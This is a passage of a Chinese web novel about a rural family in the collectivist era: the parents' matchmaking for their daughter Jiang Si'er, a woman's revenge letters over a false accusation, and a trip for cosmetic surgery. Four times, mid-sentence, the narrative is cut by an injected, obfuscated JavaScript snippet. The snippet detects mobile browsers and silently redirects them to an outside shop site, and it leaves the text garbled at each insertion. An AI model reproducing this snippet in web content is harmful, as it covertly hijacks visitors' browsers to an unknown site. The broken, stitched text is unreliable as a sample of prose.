“这事一定能成。”春花同样信心满满。向来只有他们姜家挑女婿的,没有别人挑他们女儿的道理。 而对这些事不知情的姜四儿正就着烛光拆衣服,她把旧衣服拆了,准备给芯芯做一件漂亮长裙,就像程月梨身上穿的那种漂亮洋裙一样,她也想给芯芯仿照着做一件。 第二天又是和往日一样的出工干活下工回家,最忙的是姜家,姜四儿做晚饭的时候拎着大队长让宰的一只鸡,烧水拔毛放血。今天要招待下乡放电影的放映员,大队里拿出最高的诚意,弄来一只老母鸡,又集体凑了米粮和鸡蛋木柴,势必要招待好放映员。 姜四儿负责给他们做饭,一个人忙前忙后,等好饭好菜上了桌,姜四儿却是一块鸡肉都没吃到。 不止姜四儿,接待客人的姜木匠和大队长也没敢吃上一筷子鸡肉,一锅喷香的鸡肉都进了两个放映员的肚子里。 还好两个放映员对孩子友善,分了一些鸡汤给姜小芯这个孩子拌饭吃。 姜四儿咬着嘴唇,问芯芯好不好吃。 小芯吃得满嘴满脸油光,笑得心满意足,“四姐姐,鸡汤很香很香。” 孩子把自己的小碗递过去,让四姐姐也尝一尝。 四儿没保持住矜持,分走了小芯半碗的鸡汤。 本来好心分享的姜小芯有些懵地看着自己碗里空了一半的鸡汤,抿了抿嘴,把眼泪拼命含住,到底是没哭出来,她是大孩子了,不能哭。 ‘二姐姐没说错,四姐姐很讨厌,太馋了,还抢小孩子的东西。’姜小芯鼓着委屈的小脸蛋儿,对四姐姐的印象分又降低了一点。 吃过晚饭姜四儿收拾厨房后去自己的小砖房洗澡,按照妈妈的叮嘱穿上了那件新买的衬衫。 平常只有自己大队的人走过的路上,今天从四面八方来了很多其他大队的人,都是来看电影的。即使这电影已经在他们各自的大队放映过一次了,但他们还是愿意一遍又一遍地跑过来重复看。 人潮拥挤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586557|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,提前占位置的春花冲四女儿挥手。 姜四儿啥也不知道,只觉得今天的妈妈格外活泼开朗。 “就是他们,看到没,杨树下那个男的,旁边是他阿姨和妈妈。”支书老婆扯扯春花的胳膊。 春花看过去时,脸上的笑意凝固了一瞬,天呐,这也太矮了,怎么头发也秃了一半。 那边站在树下看电影的男方也顺着支书老婆的位置看到了那个白色衬衣的姜四儿,本来对这件事很随便的男方一下子惊讶得移不开眼,虽然早从媒婆口中听说了姜四儿长得不错,可亲眼看到才知道这人有多惊艳。 她简直是人群中最俏的存在,月色下那姜四儿浑身像镀了一层暖而白的光,乖乖地挽着妈妈的手,紧紧贴着妈妈好奇地四处张望。 太乖了,太乖了,男人的心脏扑通扑通跳。 男人身旁的阿姨和妈妈也笑得合不拢嘴,议论着笑着,“不错,看上去不错。” —————— S市, 贺明峥在邮局寄东西,寄完东西往回走的时候,遇到了以前爸妈厂里的儿时兄弟。 好兄弟搂着贺明峥的脖子,“走,请我吃饭。” 俩人来到一家国营饭店叙旧,好兄弟吃到一半终于想起正事, “你之前托我问的事情,有眉目了。” 贺明峥这两年一直到处打听有没有医院可以修复美容的,他的几个兄弟和领导也在帮他留意,不管是偏方还是正规的整治,有消息了都会告诉他。 贺明峥每次在收到消息后,都会带着那个女人去尝试做美容修复。 对于这个年代的人来说,医院是治病救命的,很少听说能美容修复这些东西,就算有,技术可能也有限制。所以大多时候,贺明峥和那个女人都是扑了个空白欢喜一场。 “这次不一样,我打听到他们那家医院曾经做过手术,帮一些烧伤的病人美容,技术还不错。”好兄弟把那家医院的信息写在纸上,递给了贺明峥。 随即,好兄弟又问出了那句老生常谈的问题,“明峥,你真的不是对林姗有兴趣?” “我对林姗没任何喜欢。”贺明峥强调。 “你要不喜欢她,何苦一直帮忙给她找美容的方法呢?” 关于这个问题,贺明峥真想骂人。 那林姗就是个神经病,惹不起。 贺明峥是在两年前无意间遇到林姗的,他也没想到生产队贫穷人家的林姗竟然有这个机遇来到s市的一家工厂工作。 他当年下乡几年虽然和林姗不熟,但也认识她,即使林姗脸上毁容了一些,他也认得出来。 彼时他在百货大楼买东西,就听见林姗和身旁的人诅咒,“我不会放过姜家,我脸都毁了,活着还有什么意思,总有一天,我要杀光姜家所有人。不,不能杀他们,让他们死了也太便宜他们了,我要让他们姜家的几个女儿生不如死,和我一样毁容。” 贺明峥听到这话人都麻了,他下意识地跟踪林姗,知道了林姗工作的地方。 再后来,贺明峥开始到处寻找美容的偏方或者医院,他势必要让林姗治好脸上的伤。 他怕林姗哪天真的发神经把姜四儿给害了。 21. 第 21 章 姜四儿整个晚上专心看电影,看完电影晚上回到自己小砖房睡得很安稳。 姜家老屋里,春花翻来覆去地睡不着,唉声又叹气。 姜木匠被她吵得心烦,骂她神经病大晚上的不睡觉。 “那小伙子不行,长得太寒碜了,我都看不上。”春花坐起身,和丈夫抱怨。 姜木匠睁开眼,他对女婿长相没什么要求,但确实也不能太寒碜,没面子。 “这个不行,就再多找几个。”姜木匠很困,只求老伴儿别烦自己了。 “对对对,多看几个。”春花叹气。 第二天,支书老婆主动上门,想让两家家长正式见个面,因为男方那边很满意,已经主动找了她来继续牵线。 却不想,支书老婆得到了春花这边拒绝的回信。 “太矮了点,头发有一片没有。我们家老头子也看不上,说结婚了走亲戚都会被笑话。”春花推脱,想让支书老婆再给介绍几个。 “他们家条件可是很好的,存款又多父母也勤快,”支书老婆笑道,“这不你先前自己说的长相不重要吗?” “长相不重要,看得过眼就成。最主要的是人品好又下地干活勤快,但昨天那个真的不行,我家老头子昨天看见了都笑了很久,说长得比家里几个舅爷都不如。”春花不好意思地笑。 “那行,我知道了,我再给你张罗张罗。” 就这样,姜四儿还啥也不知道呢,春花和姜木匠这边就直接拒了。 渐渐的,姜四儿觉得奇怪,她在家待着扎扫帚干活,但院子门前总会有人反复经过打量自己。 姜四儿不知道那些人都是男方的亲戚们,特意路过考察她的。 而与此同时春花和姜木匠也在考察那些男方。 ‘这男的肚子这么大,我都看不上。’ ‘这男的家里兄弟姐妹多,不太行。’ ‘这男的那口龅牙,我都看不上。’ ‘这男的去年工分才挣这么点,不行,懒汉一个。’ ………… 一连七八个男方被拒了,连姜四儿的面都没见着,就被春花和姜木匠拒了。 支书老婆也烦了,“你们到底想不想给四儿找对象?” “想,当然想。”老两口迫切希望将姜四儿这个麻烦给甩出去。 支书老婆信了他们‘不挑剔’的鬼话,继续张罗。 公社那头,刘途的爸妈也在给二丫张罗相亲的事。 “邮递员那小子的爹昨天找了我们,想让我们给他儿子和二丫牵线。”刘途爸妈问儿子的意思。 “行,我去问问他本人的意思。” 刘途去邮电所找到那好兄弟邮递员,问介绍对象是他自个儿的意思还是家里长辈的意思。 邮递员一听立马摆手,“不是我的意思,我对姜家女儿没那个想法,多半又是我爸妈瞎掺和。” 刘途笑了笑,“好,回头我和我妈说。” “那行,没事的话我先下乡了,今天要去几个生产队送一些信件和包裹。我跟你说,有个叫程月梨的知青,可有钱了,基本上每天都要让我帮她发电报,还是加钱加急的那种,”邮递员检查了手里的几样东西,确认无误后又道,“有一封信还是你那个坐过牢的小姨子的。” 刘途眼神微眯,从好兄弟手中拿过那封信,寄件人姓名他不认识,但是寄件人来自s市。 s市……这是个在刘途心里很敏感的地方。 “这封信给我吧,我回头亲自交给我小姨子。” 邮递员有些迟疑,不过转念一想人家是一家人,给谁都一样。 等邮递员一走,刘途回到自己工作的办公室,眼神直直凝视着信封,他希望不要是自己想的那样。 半个小时后,他颤抖着打开信件一看,果然…… —————— “程月梨同志,有你的包裹,还有两封电报。”邮递员在生产队大喊。 正在晒稻谷的程月梨浑身是汗地跑过来,首先就是去看电报,一封来自奶奶,问她缺不缺什么,有困难要和家里说。 另一封电报来自表哥贺明峥,[东西寄过去了,没事少来烦我] 程月梨挑挑眉,拿到包裹一看,寄件人果然是表哥。 “谢谢你,东西我收到了。”程月梨冲邮递员笑。 邮递员红了脸,结巴道:“不、不、不用谢。” 拿着耙子分稻谷的大块头男知青在一旁看得很是嫉妒,在那拈酸吃醋地喊走程月梨。 程月梨冲邮递员挥挥手,跑了回去继续晒谷子。 中午吃饭休息时,程月梨和其他几个知青搭伙一起做饭,这样可以省点木柴。 端着一碗红薯和米饭掺和在一起的粮食,程月梨夹着那包裹,去姜家找姜四儿。 姜四儿家里饭桌上摆着一大盆秧儿菜,这是一种白菜,种下去几十天就长成了秧苗形态,能吃,再长一两个月就是大白菜。 姜家现在吃的就是白菜的秧苗。 看着那一大盆绿油油的用猪油渣炒的秧儿菜,程月梨咽了咽口水,喊姜四儿出来。 俩人鬼鬼祟祟地去到姜四儿的小砖房,在砖房的密封坛子里拿出了腌制的刀豆。 用盐和辣椒腌制的刀豆很下饭,程月梨边吃边哭。 姜四儿有些懵,不懂她为什么哭。 “我是哭我太可怜了,在家经常跟着我爸妈用单位报销的钱蹭吃蹭喝,现在下乡了日子过得这么苦,自己沦落到偷生产队的刀豆,能不哭吗?” 姜四儿犹豫了一会儿,把自己碗里的秧儿菜夹给程月梨。 程月梨顿时来了精神,也不哭了,就着秧儿菜和刀豆,把一碗饭吃得干干净净。 吃完饭她才想起来另一件事,指了指自己带来的包裹,“喏,我哥寄来的东西。” 包裹下一秒就被姜四儿迫不及待地暴力拆开,打开一层层报纸,她们看到了里面的一条裤子和一件衬衫。 是贺明峥平日里穿的衣服,洗干净后用报纸包好寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586558|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过来。 姜四儿像个婴儿一样紧紧抱着衣服蜷缩在椅子上,好似所有的不安都烟消云散。 程月梨:“…………” 她抖了抖身上的鸡皮疙瘩。 “四儿姐,今天邮递员送东西的时候和我说公社那里要关闸抽水,再过几天咱们就能去那里捡漏抓鱼。”程月梨没眼力见地打断姜四儿的沉浸,邀请她到时候和自己一起去。 姜四儿脸蛋儿红通通,点点头,然后快速回到自己屋子里,换上了贺明峥那条裤子。 贺明峥的裤子穿在她身上自然是裤腿长了些,她卷起裤脚,然后兴冲冲地来到程月梨面前,“怎么样?能看出来这是男人的裤子吗?” 程月梨摇头。 这种军绿色裤子大家都有,版型基本一致。 “不过那衬衫你千万别穿出去,一看就是男人的衬衫。”程月梨提醒。 “嗯。”姜四儿乖巧点头,两眼亮晶晶的,和平日里那副懦弱可怜的样子大不相同。 ‘爱情还真是个奇妙的东西,能让人如重获新生一般。’程月梨想。 ————S市光机所,贺明峥敲了敲办公室的门,“宫主任,这几日我想去Y市一趟。” “几个人?” “两个,介绍信你弄我一个人就行。林姗那里,她会和她领导说。” “去哪个单位?”老宫拿出钢笔在介绍信上写好了贺明峥的姓名。 “去Y市的五院。” “第五人民医院?” “嗯。” “待几天?” “10天吧,应该够她做手术了。” 刷刷几下写好了出行人和单位以及有效期,老宫拿出章在上面盖了个红章,“还要去找老华再盖个章。” “行,我知道了。” “明峥啊,”老宫笑得眼睛缝儿都不见了,“我说怎么不乐意我给你介绍对象呢,原来心里惦记着那个女工人呢。” “我怎么可能喜欢她,”贺明峥随手将介绍信揣进兜里,“听说Y市五院来了个老医生,那老医生从首都来,给做美容手术,所以准备带着林姗去试一试。” 老宫也从贺明峥这里听说过那个林姗的信息,听说几年前身体被农具弄伤命悬一线,脸也摔到了锄头镰刀上。虽然后来命治好了,但是脸上被缝了针后留下了疤痕,还有下巴鼻子摔断后进行过一次手术,反而弄得不是很好看,有些歪。 他们S市最好的医院对美容这方面不擅长,而且他们这里是禁止做美容手术的。 不光他们这里,好几个省都不行,只有某些大医院才会有这些项目。毕竟普遍认为身体健康了就行,鼻子下巴歪就歪了点呗,脸上有伤口有点小毁容没啥大问题。 可是那个林姗正是爱美的年纪,整日为了这事郁郁寡欢精神暴躁。 贺明峥是天底下最希望林姗的脸能治好的那个人,Y市是国内数一数二的大城市,五院保留了美容外科手术这一项,这应该也是林姗最后的机会了。 22. 重修 13号凌晨,刘途到达S市某招待所。 六点,刘途到达林姗所在工厂的保卫科。 八点,俩人在厂外见面。 刘途也不废话,直接将手里那封信砸在林姗脸上。 “为什么写信给姜四儿?这是你写给她的第几封信?” 林姗满脸不在乎地抱着胳膊,一个问题也不想回答。 为什么写信给姜四儿?当然是见不得姜家好,想把姜家这潭水给搅浑,让姜家人不安生。 她第一次给姜四儿写信是姜四儿在农场时,她揭露真相就想等着姜四儿以后劳改完回家了大闹姜家。 后来听说姜四儿提前释放回家,又听乡下亲戚们说,姜家一派和气没什么不对劲的地方。 林姗不服气,这才又给姜四儿写了信再次揭露真相,她希望看到姜家闹得不可开交,希望姜家一团糟。 这就是她的目的。 没想到这次这封信被刘途给截获了。 她嘴上不说,但刘途人精似的,也能大概猜到她的心思。 这也是他愤怒的原因, “你脑子坏了是吗?姜四儿一旦知道真相,把我们告去派出所,不仅我媳妇儿会坐牢,你也逃脱不了干系。” “我能有什么干系?我是被害人。”林姗理直气壮。 刘途被气笑了,“你撒谎骗公安是姜四儿发酒疯打你打成重伤,你亲口说出来的话诬陷姜四儿坐牢,你觉得你不用承担责任?” 一直觉得自己最无辜的林姗皱了皱眉,觉得刘途说的好像有点道理。 “那又怎样,姜四儿牢都坐完了,她就算知道真相也只会大吵大闹,不可能再反手把我们所有人都告进去,”林姗很有自信,“她要是告派出所,你们姜家这么多人也得进去,你们可是她亲人,她舍得吗?” 刘途冷冷道:“姜四儿是姜家亲女儿,姜家不照样舍得她。” 林姗:“…………” 糟糕,大意了。 林姗现在才有点后怕起来,她本意是希望姜四儿知道真相后把姜家搅得天翻地覆一辈子不安生,她可没想过姜四儿会把所有人告去派出所这种可能。 见她知道怕了,刘途追问,“除了这封信,还有没有其他的?” “我、我八月份写过一封信给她,当时她在劳改,不知道有没有收到。”林姗慌得脸色惨白。 她要准备去做美容手术了, 如果手术做得不好,她要和姜家人同归于尽,坐牢也无所谓。 要是手术做得好以后嫁个好人家,前途无量,她可不想因为诬陷人而坐牢。 得到想要的答案,刘途闭了闭眼,心里一团乱麻。 刘途很快离开了这里回乡,在厂里的林姗还有些惴惴不安。 下午两点,林姗去火车站和贺明峥集合,俩人即将去往Y市做美容外科手术。 绿皮火车上,贺明峥把林姗带的行李收拾好,随即闭目养神地靠坐着休息。 5号车厢很安静,大多人都在休息或是看报喝茶。 “小偷!抓小偷!”5号车门即将关闭,突然一个手拿匕首的男人飞快跑过,后面一个大娘在追着。 转瞬间,那小偷已经到了林姗面前,她吓得捂住自己的脸,她的脸不能再受伤了。 下一秒,小偷摔倒在地。 林姗转头一看,隔着一个过道的贺明峥已经睁开了眼。 “你他妈敢绊倒老子!”小偷一脸扭曲,拿着匕首刺向贺明峥。 贺明峥左手捏住对方拿刀子的手,右手挥拳从对方下巴攻击,一招将这凶神恶煞的小偷击倒在地。 痛得快昏迷的小偷手一松,锋利的刀子落地,贺明峥将刀踢走,其他乘客马上涌了上来将小偷围住。 林姗松了一口气,明明以前好几次坐火车治安都很好,怎么今天就这么倒霉,这是不是预示自己美容手术会失败?不会不会,好事多磨,林姗这么安慰自己。 “明峥哥,你太棒了。”戴着帽子和劳保口罩的林姗心跳得极快。 以前贺明峥老是关心她脸上毁容的事,她以为贺明峥癞蛤蟆想吃天鹅肉惦记着自己,觉得贺明峥肯定是在生产队的时候就惦记上自己了。 彼时林姗还瞧不上贺明峥,只觉得贺明峥和其他返城知青一样没个好工作,在上赶着追自己。 可前不久得知贺明峥的工作是个很有前途又体面的工作,还听说贺明峥父亲在香江发了财,林姗对贺明峥的态度立马就变了。 早知道自己会遇到这么有钱有前途又上赶着的男人,当初干嘛死心眼缠着刘途不放呢。和贺明峥相比,刘途那个安心在公社待着的男人算什么东西,林姗后悔极了。 当初要是不惦记着刘途,就不会去找姜大妞麻烦,不找姜大妞麻烦,自己就不会受伤。 林姗肠子都悔青了。 随着几个列车员过来处理这事,小偷被带走,5号车厢又恢复了安静的氛围。只不过这次不同的是,好些个女同志在那偷偷摸摸地看贺明峥。 下午五点十分,贺明峥醒来,听到车上广播在播放通知。 “明峥哥,餐车在9号车厢,咱们去9号车厢吃午饭吧。”林姗期待地看着他。 “你去吧,我自己带了馒头。”贺明峥给了她粮票和钱。 ‘出手也大方。’林姗又在心里给贺明峥加分。 自己毁容了都能让贺明峥这么上赶着,等自己美容手术做完,还不得把贺明峥迷得死死的?林姗满是期待。 同一天的公社生产队,程月梨又收到了来自邮递员的电报。 晚上下工后吃完饭,程月梨带着电报去找姜四儿。 姜四儿收拾完姜家的卫生后,回到了自己的小砖房正在洗澡。 听着房间里洗澡的水流声,程月梨蹲在门外无聊地拔着地上的草。 “吱呀”一声,菜园子的木门被打开,一个三岁小娃儿推开木门朝这边走来。 姜家老屋和四儿的小砖房就隔着一片菜园,姜小芯穿过菜园,脚步''Tata''地走来。 “梨姐姐。”姜小芯有礼貌地喊人。 “哎哟,你怎么过来了?” “爸爸妈妈让我过来喊四姐姐去修房子,修三姐姐的新房子。”姜小芯学着程月梨的样子蹲在地上。 姜四儿在洗澡,她们俩就蹲在地上自己玩。 见姜小芯拿着石子儿在地上画来画去的,程月梨很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586559|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶,“你这是画的荷花荷叶和香莲?” 姜小芯抬起头来,笑着“嗯呐”一声。 听着这甜甜的声音,程月梨心都被萌化了,“宝贝儿,你可太厉害了,这都会。” 程月梨不吝啬,什么夸人的话好听的话都说,把姜小芯夸得咯咯直笑。 “姜小芯!回来!” 姜二丫不知何时站在了菜园对面,大声喊小妹。 以往最爱黏着二姐姐的姜小芯撇了撇嘴,不情不愿地挥舞着小手臂,走几步路就叹一口气,小脸惆怅地离开了这里。 她刚离开,姜四儿就洗完了澡,推开门和程月梨打招呼。 程月梨把手里的电报拿给姜四儿看,是贺明峥两天前发的,内容是他要离开s市,可能十天左右的样子,这段时间不用给他发电报,他收不到。 姜四儿将电报小心放好。 既然贺明峥这些天不在,那她正好可以写信,等信寄过去,贺明峥应该也差不多回到s市了。 “你可以教我写信吗?我担心有些字不认识不知道该怎么写。” “当然可以。”程月梨皮笑肉不笑,她当初拿了属于姜四儿的洋裙耳环和lv包,就得卖身自己和姜四儿做朋友。 唉,程月梨挠挠被蚊子咬的手臂,心里一万次后悔当初拿了属于姜四儿的东西。 自从她和姜四儿做朋友,很多人都不和她玩了,平时休息时想出去逛一逛散散步也没人和她一起。 “你要写什么?”程月梨问她。 姜四儿找出一张报纸和用了半截的铅笔头,在报纸上一笔一划写出贺明峥的姓名,“我想告诉他我很想他。问他什么时候能不生气了把我接回城里去,嗯、让他给我打钱,我想买很多很多东西。” 姜四儿写着写着,遇到不会写的字就问程月梨。 程月梨看着姜四儿写出来的那些歪七歪八的丑字,头都大了。看不出来啊,姜四儿平常看上去就是个萌萌的乖巧的女人,和表哥说话倒是很直接,直接开口就是要进城要钱…… 此时此刻,她甚至觉得姜四儿就是个爱慕虚荣的女人,一点也配不上自己表哥。 ———— 几天后, 16号,刘途傍晚回到家, 每天都在翘首以盼的姜大妞从门槛边大步跨了过来,抱住丈夫迎他进屋。 “你这几天去哪儿了?我很担心。”姜大妞眼泪汪汪。 “去s市见我表姐大姑她们。” “真的吗?”姜大妞忧心忡忡,“我还以为是林姗又来找我们麻烦。” “没有的事,别担心,”刘途最不愿看到媳妇儿不开心,转移话题道,“孩子这几天听话吗?有没有想我?” 姜大妞果然被转移了注意力,笑着转身去房间里要抱儿子出来。 这几年媳妇儿一直对往事愧疚不安,憔悴清瘦了很多。 看着媳妇儿瘦弱的背影,刘途心疼地上前,从背后环抱,“现在家里一切都好,你四妹出狱了,林姗那边除了要钱也不会有什么幺蛾子,一切都在变好,你也要好好的,我和孩子都需要你。” “嗯。”姜大妞哽咽道,她答应丈夫,是时候放下了,以后好好的。 23. 重修 16号傍晚, 给姜老三和方感勇建房子的工程还在进行中。 这次姜木匠没打算给他们盖砖房,而是建个普普通通的二室木屋。 一家人每天下工劳作后回家吃完饭就去忙木屋的事,方感勇默不作声地干着活,偶尔抬头看见姜四儿在那搬木材,仍贼心不死地盯着她脸蛋儿咽口水。 他不懂,明明媳妇儿说四妹是个不检点的,怎么自己还拿不下四妹。 别看法律法规上管得严,但乡下风流韵事也不少,光是他知道的就有三户人家儿子或儿媳妇出轨其他农户的,所以方感勇压根不觉得自己这么想有什么不对。他觉得反正大家私底下都这么随便的话,怎么就不能让他也占点便宜。 月色下,姜小芯跟着大人们一起忙活,不过她一个小娃儿纯粹是瞎忙活,跟玩儿似的,干不了啥正经事。 “小芯芯!”下工后洗漱完的程月梨在水沟对面的马路上冲姜小芯挥手。 也有其他散步的村民跟着一起笑,“老姜,你这小女儿勤快啊,这么小就知道干活了。” 姜木匠听了夸奖心里美滋滋,大笑道:“哪里哪里,她这么小能干什么活,瞎玩。” “小芯芯,要不要一起去散散步?”程月梨又喊。 姜小芯扭头看向妈妈,春花让她去玩,小娃儿立马撒欢跑开了。 要过去马路那边得通过一座小桥,程月梨跑去小桥接孩子,一大一小一见面就抱在了一起。 等姜二丫从姜家老屋里拿工具过来,已经没了小妹的身影。 晚上七点多,姜二丫在另一个生产队找到了和程月梨踢毽子的小妹。旁边,还有那个姓刘的大块头男知青。 “小芯芯她二姐那个跟屁虫又来了。”程月梨对大刘小声吐槽。 大刘个头很大,平时话很少。因为暗恋程月梨,所以什么事情上都站在程月梨这边。 程月梨吐槽姜二丫是跟屁虫,大刘也只是附和着一笑。 “小程同志,”姜二丫站在了程月梨面前,表情不算很好,语气中带着坚定,“你以后别带小芯出来玩,毕竟不是自家人,我们不放心。” “我……”程月梨委屈,一个字也说不出。 她虽然觉得小芯那孩子可爱,但也不是喜欢得不得了非小芯不可的地步。 今天姜家在那搭建房子,她觉得小芯那孩子在那个地方太危险,所以才把小芯给带走。 自己一片好心,没想到被姜二丫这么说。 姜二丫说完就态度强硬地拉着姜小芯离开,留程月梨气得龇牙咧嘴“呸呸呸”的大骂。 “你还没看明白吗,她这是吃醋了,并不是针对你,你别生气。”大刘笑道。 “什么意思?她吃醋?这有什么好吃醋的?” “孩子她带大的,如今那孩子喜欢跟在你屁股后头跑,她吃醋呗。” “我曾经也这么猜测过,但总觉得不至于,”程月梨挠挠头,“这姜二丫得多缺爱啊,对一个小孩子都这样有占有欲。” “谁知道呢。”大刘叹气。 “不过这都是你的猜测,说不定她就是看不惯我,觉得我有钱就嫉妒恨。” “我觉得不太可能,姜二丫长得那么漂亮,要真的想找个有钱的也不是难事,听说放映队的那放映员家里有钱有背景,还追过姜二丫呢,只不过被拒绝了,”大刘很肯定道,“我的猜测一般不会错,我很相信自己的直觉,她就是吃醋了。” “切~”程月梨,“都说我们女生直觉准,你一个大男人,还能成精了不成?” “诶,”程月梨凑过去,“你这么相信你的直觉,那你猜一下我为什么会和姜四儿一起玩。” 大刘定定地看了程月梨几眼,脸红道:“肯定和你表哥有关,我猜,是你表哥喜欢姜四儿,他不忍心看姜四儿孤零零的没朋友,所以让你没事就去找她玩。” 程月梨:“…………你、你怎么知道的?” “直觉啊。”大刘嘿嘿笑道。 “你觉得我表哥喜欢姜四儿?要真的喜欢不应该把她接到城里去吗?” “那我就不知道了,可能是俩人闹了别扭吧,你表哥那人看上去性格不是很好。” “嗯嗯嗯!!!!”程月梨拼命点头,“我跟你说啊,我表哥可过分了,我奶奶生病,我爸妈要忙工作没时间,花钱请我哥去照料几天,他不去就算了,还发脾气对我爸妈甩脸色…………” 程月梨可算有了个能说话的人了,不停吐槽。 另一边, 姜家人忙活到八点多收工,回去洗漱后睡觉,早上四点又起来摸黑继续忙。 “天气凉快了,可以穿长袖了。”春花摸了摸姜老三的手,有点凉。 “妈,没事,干活干一会儿身上就热起来了。”姜老三嘻嘻笑着撒娇。 姜二丫不动声色地朝感情好的母女俩看过去,咬了咬唇又低下头继续干活。 几秒后,她又看向四妹,四妹搬运着碎砖头,脚步轻快,无忧无虑的样子。 为什么,为什么四妹不会吃醋呢?姜二丫不懂。 家里这些人她都能弄明白对方脑瓜子里面在想些什么,只有这个四妹,她一向搞不懂。 六点左右,生产队长吆喝着大家去上工,姜四儿也回老屋院子里坐着继续扎扫帚。 七点半,姜四儿开始烧火做饭。又过了半个小时,外出上工的人饥肠辘辘地各自回家来吃早饭。 今天早饭是细粮粗粮搭配着,菜是一大盆的蒸辣椒,辣椒蒸在饭里,节省点木柴。 各个吃得正热火朝天的,外面支书老婆过来喊春花说悄悄话。 “有个在县里工作的工人,我曾远远看过,长得不丑,见还是不见,一句话。” “见,是哪个厂的,我让我亲家去见见,他们在县里有门路。” 俩人偷偷聊了一番后,春花心满意足地回到饭桌上,边吃早饭边和老伴儿说那人的情况。 一听这回是厂里工作的工人,姜木匠也激动起来,觉得这次一定能成。 吃过早饭其他人离开,春花和四儿一起收拾屋子。 “妈,你上午不出去了?” “上午和队长请了半天假,菜园子里草太多,上午拔草。” “那你去忙吧,我这里三俩下就能干完。”姜四儿利落地收拾碗筷扫地洗碗。 春花隔着点距离打量自己四女儿,还别说,四女儿这段时间在家吃得好,脸色红润了些,这模样,挑不出问题来,保准相亲的对象满意,要是……再胖点就更好了。 “妈?”姜四儿一回头,被亲妈定住在自己身上的眼神吓了一跳。 她不怕爸妈让她干活,就怕爸妈突然的关爱,总觉得怪不自在的。 等妈妈走远,姜四儿摸了摸胳膊,天气确实变凉了,有点冷。 马路上有单车轮胎声逼近,姜四儿继续干自己的活,直到感觉那声音停在自家院子里,姜四儿抬头,笑着打招呼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586560|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姐夫。” “诶,早上好。”刘途笑着拎了一捆甘蔗进来。 姜四儿不好意思地看了那甘蔗几眼,馋得不行,“我妈在菜园子里拔草,我去叫他。” “不用,我这次过来就是给你们送甘蔗过来,也没其他的事。” 说是这么说,但姜四儿还是把妈妈喊了过来,又去给大姐夫端茶倒水。 春花打完招呼后说什么都要喊自家老伴儿回来,急匆匆出去喊人了。 “这几天队里正是忙的时候,我爸他们都出工了,要把稻谷芝麻那些粮食都给收了。”姜四儿给大姐夫解释。 至此,秋收基本上算是告一段落了。 “今年你们队粮食收成怎么样?”刘途客气问道。 “这个我不清楚,应该和往年没什么区别吧。” “听说国家研究出了一种新的杂交水稻,种出来很成功,亩产量至少增加了上百斤。” “真的吗?那岂不是以后能分更多的口粮了?”姜四儿笑着看向大姐夫。 “嗯,你多注意听广播看报纸,都会有报道。”刘途随便找着话题,边说边注意着四妹,想看出四妹有没有什么不对劲的地方。 林姗用别人的名义在八月给四妹写信一封说了真相,如果四妹真的信了那封信的内容,会是什么样的情形? 至少,不该是现在这种和自己说说笑笑丝毫没有芥蒂的模样。 刘途继续试探,“听爸妈说你现在识字了?” “嗯,我在劳改农场参加了干部们组织的扫盲课,认识了很多字,他们都夸我聪明,一学就会。” “那你现在岂不是自己就能看懂书信?” “是啊!”姜四儿语气兴奋道,“我现在自己就能写信,有不认识的我自己也可以查字典。” 刘途不动神色地观察,自始至终也看不出姜四儿的问题。 心里稍微松了口气,不过刘途还是不能完全放心。 就这一会儿的工夫,姜木匠急匆匆赶了来,对着大女婿又是握手又是嘘寒问暖的,殷勤得不得了。 春花按照老伴儿的吩咐去给大女婿煮荷包蛋,姜四儿在院子里继续撕地肤草扎扫帚。 刘途和老丈人去了房间里,低声将林姗的事给说了出来。 “这个畜生!畜生!”姜木匠恨极了林姗,恨不得直接杀了她以命抵命。 “她还想怎样?给了她那么多钱,托关系给她在大城市有安身的工作,也让我家四儿去坐牢赎罪了,她还不满足,经常写信来勒索你不说,现在还写信给四儿,她个畜生,害了我一家啊。”姜木匠气得老泪纵横。 